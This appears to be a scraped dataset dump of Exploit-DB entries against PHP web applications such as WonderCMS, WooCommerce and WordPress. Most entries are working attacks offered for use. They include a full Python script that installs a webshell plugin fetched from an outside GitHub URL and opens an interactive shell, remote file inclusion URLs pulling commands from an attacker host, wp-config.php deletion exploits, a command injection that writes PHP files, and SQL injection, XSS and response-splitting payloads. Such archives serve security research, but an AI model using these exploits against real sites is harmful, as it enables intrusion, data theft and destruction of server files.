deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49155
Description: WonderCMS 3.1.3 - Authenticated Remote Code Execution
Type: webapps
Platform: php
Date: 2020-12-02
Author: zetc0de

Exploit:
# Exploit Title: WonderCMS 3.1.3 - Authenticated Remote Code Execution
# Date: 2020-11-27
# Exploit Author: zetc0de
# Vendor Homepage: https://www.wondercms.com/
# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip
# Version: 3.1.3
# Tested on: Ubuntu 16.04
# CVE : CVE-2020-35314


# WonderCMS is vulnerable to Authenticated Remote Code Execution.
# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.
# Using the theme/plugin installer attacker can install crafted plugin that contain a webshell and get RCE.

# python3 exploit.py http://wonder.com/loginURL GpIyq0RH 
# -------------
# [+] Getting Token
# [+] Sending Payload
# [+] Get the shell
# [+] Enjoy!
# $id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored


print(colored('''

\ \      /_ \  \ | _ \ __| _ \  __|  \  |  __| 
 \ \ \  /(   |.  | |  |_|    / (    |\/ |\__ \ 
  \_/\_/\___/_|\_|___/___|_|_\\___|_|  _|____/ 
                                               
------[ Auth Remote Code Execution ]------
	''',"blue"))

if len(sys.argv) != 3:
    print(colored("[-] Usage : ./wonder.py loginURL password","red"))
    exit()

loginURL = sys.argv[1]
password = sys.argv[2]

r = requests.session()
data = { "password" : password }
page = r.post(loginURL,data)
if "Wrong" in page.text:
	print(colored("[!] Exploit Failed : Wrong Credential","red"))
	exit()

print(colored("[+] Getting Token","blue"))
soup = BeautifulSoup(page.text, "html.parser")

allscript  = soup.find_all("script")
no = 0
for i in allscript:
	if "rootURL" in str(i):
		url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
	elif "token" in str(i):
		token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")

payload = "https://github.com/zetc0de/wonderplugin/archive/master.zip"

def sendPayload(req,url,payload,token):
	getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token
	req.get(getShell)
	shell = url + "plugins/wonderplugin/evil.php"
	checkshell = req.get(shell)
	if "1337" in checkshell.text:
		return True
	else:
		return False

print(colored("[+] Sending Payload","blue"))
shell = sendPayload(r,url,payload,token)


if shell == True:
	print(colored("[+] Get the shell","blue"))
	print(colored("[+] Enjoy!","blue"))
	shell = url + "plugins/wonderplugin/evil.php"
	while True:
		cmd = input("$")
		data = { "cmd" : cmd }

		res = r.post(shell,data)
		if res.status_code == 200:
			print(res.text)
elif shell == False:
	print(colored("[+] Get the shell","blue"))
	print(colored("[+] Enjoy!","blue"))
	shell = url + "plugins/wonderplugin-master/evil.php"
	while True:
		cmd = input("$")
		data = { "cmd" : cmd }
		res = r.post(shell,data)
		if res.status_code == 200:
			print(res.text)
else:
	print(colored("[!] Failed to exploit","red"))
Exploit-DB #1982
Description: WonderEdit Pro CMS (template_path) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-04
Author: OLiBekaS

Exploit:
--------------------------------------------------------------------------------

Title : WonderEdit Pro CMS <= Pro version Remote File Include Vulnerabilities

###############################################################################

Discovered By OLiBekaS

-----------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Web Site CMS
version : pro version
Description: this default cms for all hosting in Wonder hosting (http://www.12wonderhosting.com/) maybe :)
URL : http://www.wonderedit.com

-----------------------------------------------------------------------------


dork        : "powered by WonderEdit Pro"

Exploit     :  

http://[target]/[path]/template/rwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls
http://[target]/[path]/template/gwb/user_bottom.php?config[template_path]=http://[attacker]/cmd.txt?&cmd=ls              
               

------------------------------------------------------------------------------

this work for all template in WonderEdit Pro CMS and use "rwb" for or "gbw" default attack, and vulner to other tempalte to like
"blues", "bluwhi", "grns", and other.

------------------------------------------------------------------------------


greatz:
~~~~~

# Special greetz to my master effex and bEdAh`oTaK ( thank man )
# To all members of #papmahackerlink, cgibin, weleh, skulmatic, sikunYuk, brokencode, ulga, SaMuR4i_X, bigmaster, yugo^cloudy. and other

-------------------------------------------------------------------------------


Contact:
~~~~~~~

Nick: OLiBekaS
E-mail: olibekas[at]gmail[dot]Com
Homepage: http://bekas.6te.net

--------------------------------- [ eof ] ---------------------------------------

# milw0rm.com [2006-07-04]
Exploit-DB #44433
Description: WooCommerce CSV-Importer-Plugin 3.3.6 - Remote Code Execution
Type: webapps
Platform: php
Date: 2018-04-09
Author: Lenon Leite

Exploit:
# Exploit Title:  Plugin Woocommerce CSV importer 3.3.6 – RCE – Unlink
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage: *https://wordpress.org/plugins/woocommerce-csvimport/
# Software Link: *https://wordpress.org/plugins/woocommerce-csvimport/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 3.3.6
# Tested on: Ubuntu 16.1
#

1 - Description

   - Type user access: any user registered.
   - $_POST['filename'] is not escaped.

2. Proof of Concept

<form method="post"
   action="http://target/wp-admin/admin-ajax.php?action=delete_export_file">
   <input type="text" name="filename" value="../wp-config.php">
   <input type="submit">
</form>


   - Date Discovery : *11/23/2017*
   - Date Vendor Contact : *12/29/2017*
   - Date Publish : 08/04/2018
   - Date Resolution :

 
#*Atenciosamente*
#
#*Lenon Leite*
Exploit-DB #51156
Description: WooCommerce v7.1.0 - Remote Code Execution(RCE)
Type: webapps
Platform: php
Date: 2023-03-31
Author: Milad karimi

Exploit:
# Title: Wordpress Plugin WooCommerce v7.1.0 - Remote Code Execution(RCE)
# Date: 2022-12-07
# Author: Milad Karimi
# Vendor Homepage: https://wordpress.org/plugins/woocommerce
# Software Link: https://wordpress.org/plugins/woocommerce
# Tested on: windows 10 , firefox
# Version: 7.1.0
# CVE : N/A

# Description:
simple, easy to use jQuery frontend to php backend that pings various
devices and changes colors from green to red depending on if device is
up or down.

# PoC :

http://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.php
http://localhost/woocommerce/includes/admin/meta-boxes/class-wc-meta-box-product-images.php?product-type=;echo '<?php phpinfo(); ?>' >info.php


# Vulnerabile code:

 95: $classname $classname($post_id); 
  94: $classname = WC_Product_Factory::get_product_classname($post_id, $product_type : 'simple'); 
    92: ⇓ function save($post_id, $post)
       93: $product_type = WC_Product_Factory::get_product_type($post_id) : sanitize_title(stripslashes($_POST['product-type'])); 
          92: ⇓ function save($post_id, $post)
Exploit-DB #12576
Description: Woodall Creative - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-11
Author: XroGuE

Exploit:
=========================================================
Woodall Creative SQL Injection Vulnerability
=========================================================
##########################################
# Name: Woodall Creative SQL Injection Vulnerability
# Date: 2010-05-11
# vendor: http://www.woodallcreative.com
# Author: Ashiyane Digital Security Team
# Thanks to: khodam :P, Satanic2000,Veron, ... And All Ashiyane Members ...
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork:  intext: "Site developed & mantained by Woodall Creative Group"

[+] Vulnerability: www.site.com/[path]/page.php?id=[SQLi]  

[+] Live Demo: http://[site]/page.php?id=-999+union+select+1,2,3,4,5,6,7,@@version
Exploit-DB #50456
Description: Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)
Type: webapps
Platform: php
Date: 2021-10-25
Author: samguy

Exploit:
# Exploit Title: Wordpress 4.9.6 - Arbitrary File Deletion (Authenticated) (2)
# Date: 04/08/2021
# Exploit Author: samguy
# Vulnerability Discovery By: Slavco Mihajloski & Karim El Ouerghemmi
# Vendor Homepage: https://wordpress.org
# Software Link: https://wordpress.org/wordpress-4.9.6.tar.gz
# Version: 4.9.6
# Tested on: Linux - Debian Buster (PHP 7.3)
# Ref : https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution
# EDB : EDB-44949
# CVE : CVE-2018-12895

/*

Usage:
  1. Login to wordpress with privileges of an author
  2. Navigates to Media > Add New > Select Files > Open/Upload
  3. Click Edit > Open Developer Console > Paste this exploit script
  4. Execute the function, eg: unlink_thumb("../../../../wp-config.php")
*/

function unlink_thumb(thumb) {

  $nonce_id = document.getElementById("_wpnonce").value
  if (thumb == null) {
    console.log("specify a file to delete")
    return false
  }
  if ($nonce_id == null) {
    console.log("the nonce id is not found")
    return false
  }

  fetch(window.location.href.replace("&action=edit",""),
    {
      method: 'POST',
      credentials: 'include',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: "action=editattachment&_wpnonce=" + $nonce_id + "&thumb=" + thumb
    })
    .then(function(resp0) {
      if (resp0.redirected) {
        $del = document.getElementsByClassName("submitdelete deletion").item(0).href
        if ($del == null) {
          console.log("Unknown error: could not find the url action")
          return false
        }
        fetch($del, 
          {
            method: 'GET',
            credentials: 'include'
          }).then(function(resp1) {
            if (resp1.redirected) {
              console.log("Arbitrary file deletion of " + thumb + " succeed!")
              return true
            } else {
              console.log("Arbitrary file deletion of " + thumb + " failed!")
              return false
            }
          })
      } else {
        console.log("Arbitrary file deletion of " + thumb + " failed!")
        return false
      }
    })
}
Exploit-DB #51663
Description: WordPress adivaha Travel Plugin 2.3 - Reflected XSS
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: WordPress adivaha Travel Plugin 2.3 - Reflected XSS
# Exploit Author: CraCkEr
# Date: 29/07/2023
# Vendor: adivaha - Travel Tech Company
# Vendor Homepage: https://www.adivaha.com/
# Software Link: https://wordpress.org/plugins/adiaha-hotel/
# Demo: https://www.adivaha.com/demo/adivaha-online/
# Version: 2.3
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

The attacker can send to victim a link containing a malicious URL in an email or instant message
can perform a wide variety of actions, such as stealing the victim's session token or login credentials


Path: /mobile-app/v3/

GET parameter 'isMobile' is vulnerable to XSS

https://www.website/mobile-app/v3/?pid=77A89299&isMobile=[XSS]


XSS Payload: clq95"><script>alert(1)</script>lb1ra


[-] Done
Exploit-DB #51655
Description: WordPress adivaha Travel Plugin 2.3 - SQL Injection
Type: webapps
Platform: php
Date: 2023-08-04
Author: CraCkEr

Exploit:
# Exploit Title: WordPress adivaha Travel Plugin 2.3 - SQL Injection
# Exploit Author: CraCkEr
# Date: 29/07/2023
# Vendor: adivaha - Travel Tech Company
# Vendor Homepage: https://www.adivaha.com/
# Software Link: https://wordpress.org/plugins/adiaha-hotel/
# Demo: https://www.adivaha.com/demo/adivaha-online/
# Version: 2.3
# Tested on: Windows 10 Pro
# Impact: Database Access


## Greetings

The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09, indoushka
CryptoJob (Twitter) twitter.com/0x0CryptoJob


## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.



Path: /mobile-app/v3/

GET parameter 'pid' is vulnerable to SQL Injection

https://website/mobile-app/v3/?pid=[SQLI]&isMobile=chatbot

---
Parameter: pid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: pid=77A89299'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z&isMobile=chatbot
---



[-] Done
Exploit-DB #23213
Description: WordPress Core 0.6/0.7 - 'Blog.header.php' SQL Injection
Type: webapps
Platform: php
Date: 2003-10-03
Author: Seth Woolley

Exploit:
source: https://www.securityfocus.com/bid/8756/info

Wordpress has been reported prone to multiple SQL injection vulnerabilities. The issues have been reported to exist in the blog.header.php script. A lack of sufficient sanitization performed on 'cat' and 'order_by' URI parameters, may allow an attacker to inject malicious SQL code and thereby influence legitimate Wordpress SQL queries.

Ultimately an attacker may exploit this vulnerability to insert SQL code into Wordpress requests and have the SQL code executed by the underlying database server.

http://www.example.com/index.php?cat=100)%09or%090=0%09or%09(0=1
Exploit-DB #30520
Description: WordPress Core 1.0.7 - 'Pool index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-13
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/25413/info

WordPress Pool is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #24642
Description: WordPress Core 1.2 - 'admin-header.php?redirect_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/admin-header.php?redirect=1&redirect_url=%22;alert(document.cookie)//
Exploit-DB #24643
Description: WordPress Core 1.2 - 'bookmarklet.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/bookmarklet.php?popuptitle=[XSS]
/bookmarklet.php?popupurl=[XSS]
/bookmarklet.php?content=[XSS]
/bookmarklet.php?post_title=[XSS]
Exploit-DB #24644
Description: WordPress Core 1.2 - 'categories.php?cat_ID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/categories.php?action=edit&cat_ID=[XSS]
Exploit-DB #24646
Description: WordPress Core 1.2 - 'edit-comments.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/edit-comments.php?s=[XSS]
/edit-comments.php?mode=[XSS]
Exploit-DB #24645
Description: WordPress Core 1.2 - 'edit.php?s' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info
 
It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.
 
Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/edit.php?s=[XSS]
Exploit-DB #24667
Description: WordPress Core 1.2 - 'wp-login.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2004-10-07
Author: Chaotic Evil

Exploit:
source: https://www.securityfocus.com/bid/11348/info

Wordpress is reported prone to a HTTP response splitting vulnerability. The issue presents itself due to a flaw in the affected script that allows an attacker to manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

POST /wp-login.php HTTP/1.0
Host: HOSTNAME
Content-Type: application/x-www-form-urlencoded
Content-length: 226

action=login&mode=profile&log=USER&[CREDENTIAL_REDACTED]=
%0d%0aConnection:%20Keep-Alive%0d%0aContent-Length:%20
0%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:
%2021%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<html>
*defaced*</html>
Exploit-DB #24641
Description: WordPress Core 1.2 - 'wp-login.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2004-09-28
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11268/info

It is reported that Wordpress is affected by various cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input. 

Wordpress 1.2 is reported vulnerable, however, other versions may be affected as well.

/wp-login.php?redirect_to=[XSS]
/wp-login.php?mode=bookmarklet&text=[XSS]
/wp-login.php?mode=bookmarklet&popupurl=[XSS]
/wp-login.php?mode=bookmarklet&popuptitle=[XSS]
Exploit-DB #570
Description: WordPress Core 1.2 - HTTP Splitting
Type: webapps
Platform: php
Date: 2004-10-10
Author: Tenable NS

Exploit:
#
# This script is (C) Tenable Network Security
#
#




if(description)
{
script_id(15443);
script_bugtraq_id(11348);
script_version ("$Revision: 1.1 $");

name["english"] = "WordPress HTTP Splitting Vulnerability";

script_name(english:name["english"]);

desc["english"] = "
The remote host is running WordPress BLOG, a web blog manager written
in PHP.

The remote version of this software is vulnerable to an HTTP-splitting attack 
wherein an attacker can insert CR LF characters and then entice an unsuspecting
user into accessing the URL. The client will parse and possibly act on the 
secondary header which was supplied by the attacker.

Solution : Upgrade to the latest version of this software
Risk factor : Medium";




script_description(english:desc["english"]);

summary["english"] = "Checks for the presence of WordPress";

script_summary(english:summary["english"]);

script_category(ACT_ATTACK);


script_copyright(english:"This script is Copyright (C) 2004 Tenable Network Security",
francais:"Ce script est Copyright (C) 2004 Tenable Network Security");
family["english"] = "CGI abuses";
family["francais"] = "Abus de CGI";
script_family(english:family["english"], francais:family["francais"]);
script_dependencie("http_version.nasl");
script_require_ports("Services/www", 80);
exit(0);
}

#
# The script code starts here
#


include("http_func.inc");
include("http_keepalive.inc");

port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);



# The actual attack requires credentials -> do a banner check
function check(loc)
{
res = http_keepalive_send_recv(port:port, data:http_get(item:loc + "/index.php", port:port));
if ( res == NULL ) exit(0);
res = str_replace(find:'\n', replace:'', string:res);
res = str_replace(find:'\r', replace:'', string:res);

if ( "WordPress" >< res && egrep(pattern:'<meta name="generator" content="WordPress (0\\.|1\\.([01]|2"))', string:res)) { security_warning(port); exit(0); }
}




foreach dir ( cgi_dirs() )
{
check(loc:dir);
}


# milw0rm.com [2004-10-10]
Exploit-DB #24988
Description: WordPress Core 1.2.1/1.2.2 - '/wp-admin/post.php?content' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info

Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.

The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/post.php?content=[XSS]
Exploit-DB #24989
Description: WordPress Core 1.2.1/1.2.2 - '/wp-admin/templates.php?file' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-12-16
Author: Thomas Waldegger

Exploit:
source: https://www.securityfocus.com/bid/11984/info
 
Wordpress is reported vulnerable to multiple cross-site scripting, HTML injection, and SQL injection vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied data.
 
The cross-site scripting and HTML injection issues could permit a remote attacker to create a malicious URI link, or post data to the affected application that includes hostile HTML and script code. If this link were to be followed, or resulting pages were to be viewed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.
 
An attacker may exploit the SQL injection issues to manipulate SQL queries to the underlying database. This may facilitate theft of sensitive information, potentially including authentication credentials, and data corruption.

http://www.example.com/wp-admin/templates.php?file=[XSS]